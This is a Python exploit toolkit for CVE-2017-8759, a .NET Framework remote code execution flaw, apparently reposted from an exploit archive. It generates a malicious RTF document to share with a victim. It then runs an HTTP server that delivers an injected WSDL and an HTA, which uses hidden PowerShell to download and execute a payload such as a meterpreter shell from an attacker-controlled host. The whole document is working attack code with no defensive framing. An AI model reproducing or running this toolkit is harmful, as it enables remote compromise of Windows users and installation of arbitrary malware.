Microsoft .NET Framework Remote Code Execution

`#!/usr/bin/env python  
'''  
  
## Exploit toolkit CVE-2017-8759 - v1.0 (https://github.com/bhdresh/CVE-2017-8759) ##  
  
'''  
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile  
from random import randint  
from random import choice  
from string import ascii_uppercase  
from zipfile import ZipFile, ZIP_STORED, ZipInfo  
  
  
BACKLOG = 50 # how many pending connections queue will hold  
MAX_DATA_RECV = 999999 # max number of bytes we receive at once  
DEBUG = True # set to True to see the debug msgs  
def main(argv):  
# Host and Port information  
global port  
global host  
global filename  
global docuri  
global payloadurl  
global payloadlocation  
global custom  
global mode  
global obfuscate  
global payloadtype  
filename = ''  
docuri = ''  
payloadurl = ''  
payloadlocation = ''  
custom = ''  
port = int("80")  
host = ''  
mode = ''  
obfuscate = int("0")  
payloadtype = 'rtf'  
  
# Capture command line arguments  
try:  
opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:t:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","custom=","obfuscate=","payloadtype="])  
except getopt.GetoptError:  
print 'Usage: python '+sys.argv[0]+' -h'  
sys.exit(2)  
for opt, arg in opts:  
if opt == '-h':  
print "\nThis is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)\n"  
print "Modes:\n"  
print " -M gen Generate Malicious file only\n"  
print " Generate malicious payload:\n"  
print " -w <Filename.rtf> Name of malicious RTF file (Share this file with victim).\n"  
print " -u <http://attacker.com/test.txt> Path of remote txt file. Normally, this should be a domain or IP where this tool is running.\n"  
print " For example, http://attacker.com/test.txt (This URL will be included in malicious file and\n"  
print " will be requested once victim will open malicious RTF file.\n"  
print " -M exp Start exploitation mode\n"  
print " Exploitation:\n"  
print " -p <TCP port:Default 80> Local port number.\n"  
print " -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n"  
print " -l </tmp/shell.exe> Specify local path of an executable file / meterpreter shell / payload.\n"  
sys.exit()  
elif opt in ("-M","--mode"):  
mode = arg  
elif opt in ("-w", "--filename"):  
filename = arg  
elif opt in ("-u", "--docuri"):  
docuri = arg  
elif opt in ("-p", "--port"):  
port = int(arg)  
elif opt in ("-e", "--payloadurl"):  
payloadurl = arg  
elif opt in ("-l", "--payloadlocation"):  
payloadlocation = arg  
if "gen" in mode:  
if (len(filename)<1):  
print 'Usage: python '+sys.argv[0]+' -h'  
sys.exit()  
if (len(docuri)<1):  
print 'Usage: python '+sys.argv[0]+' -h'  
sys.exit()  
print "Generating normal RTF payload.\n"  
generate_exploit_rtf()  
sys.exit()  
mode = 'Finished'  
if "exp" in mode:  
  
if (len(payloadurl)<1):  
print 'Usage: python '+sys.argv[0]+' -h'  
sys.exit()  
if (len(payloadurl)>1 and len(payloadlocation)<1):  
print "Running exploit mode (Deliver HTA with remote payload) - waiting for victim to connect"  
exploitation_rtf()  
mode = 'Finished'  
sys.exit()  
if (len(payloadurl)>1 and len(payloadlocation)>1):  
print "Running exploit mode (Deliver HTA + Local Payload) - waiting for victim to connect"  
exploitation_rtf()  
mode = 'Finished'  
if not "Finished" in mode:  
print 'Usage: python '+sys.argv[0]+' -h'  
sys.exit()  
def generate_exploit_rtf():  
# Preparing malicious RTF  
s = docuri  
docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)  
docuri_pad_len = 714 - len(docuri_hex)  
docuri_pad = "0"*docuri_pad_len  
payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"  
payload += "{\\info\n"  
payload += "{\\author }\n"  
payload += "{\\operator }\n"  
payload += "}\n"  
payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"  
payload += "{\n"  
payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"  
payload += "{\\*\\objclass Word.Document.8}\n"  
payload += "{\\*\\objdata 010500000200000008000000e2bae4e53e2231000000000000000000000a0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff010000000003000000000000c000000000000046000000000000000000000000f02c1951c8e5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000d8010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000020000000300000004000000050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0100000209000000010000000000000000000000000000008c010000c7b0abec197fd211978e0000f8757e2a00000000700100007700730064006c003d00"+docuri_hex+docuri_pad+"00ffffffff0000000000000000000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}\n"  
payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"  
payload += "{\\*\\datastore }\n"  
payload += "}\n"  
f = open(filename, 'w')  
f.write(payload)  
f.close()  
print "Generated "+filename+" successfully"  
  
def exploitation_rtf():  
  
print "Server Running on ",host,":",port  
  
try:  
# create a socket  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
# associate the socket to host and port  
s.bind((host, port))  
  
# listenning  
s.listen(BACKLOG)  
  
except socket.error, (value, message):  
if s:  
s.close()  
print "Could not open socket:", message  
sys.exit(1)  
  
# get the connection from client  
while 1:  
conn, client_addr = s.accept()  
  
# create a thread to handle request  
thread.start_new_thread(server_thread, (conn, client_addr))  
  
s.close()  
  
def server_thread(conn, client_addr):  
  
# get the request from browser  
try:  
request = conn.recv(MAX_DATA_RECV)  
if (len(request) > 0):  
# parse the first line  
first_line = request.split('\n')[0]  
  
# get method  
method = first_line.split(' ')[0]  
try:  
url = first_line.split(' ')[1]  
except IndexError:  
print "Invalid request from "+client_addr[0]  
conn.close()  
sys.exit(1)  
  
if ".exe" in url:  
print "Received request for payload from "+client_addr[0]  
try:  
size = os.path.getsize(payloadlocation)  
except OSError:  
print "Unable to read "+payloadlocation  
conn.close()  
sys.exit(1)  
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"  
with open(payloadlocation) as fin:  
data +=fin.read()  
conn.send(data)  
conn.close()  
sys.exit(1)  
if ".hta" in url:  
print "Received GET method from "+client_addr[0]  
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"  
conn.send(data)  
conn.close()  
if ".txt" in url:  
print "Received GET method from "+client_addr[0]  
data = 'HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 2000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/plain\r\n\r\n<definitions\n xmlns="http://schemas.xmlsoap.org/wsdl/"\n xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"\n xmlns:suds="http://www.w3.org/2000/wsdl/suds"\n xmlns:tns="http://schemas.microsoft.com/clr/ns/System"\n xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">\n <portType name="PortType"/>\n <binding name="Binding" type="tns:PortType">\n <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>\n <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>\n </binding>\n <service name="Service">\n <port name="Port" binding="tns:Binding">\n <soap:address location="'+payloadurl.split(':')[0]+"://"+payloadurl.split('/')[2]+'?C:\Windows\System32\mshta.exe?'+payloadurl.split(':')[0]+"://"+payloadurl.split('/')[2]+'/cmd.hta"/>\n <soap:address location=";\n if (System.AppDomain.CurrentDomain.GetData(_url.Split(\'?\')[0]) == null) {\n System.Diagnostics.Process.Start(_url.Split(\'?\')[1], _url.Split(\'?\')[2]);\n System.AppDomain.CurrentDomain.SetData(_url.Split(\'?\')[0], true);\n } //"/>\n </port>\n </service>\n</definitions>\n'  
conn.send(data)  
conn.close()   
sys.exit(1)  
except socket.error, ex:  
print ex  
  
if __name__ == '__main__':  
main(sys.argv[1:])  
`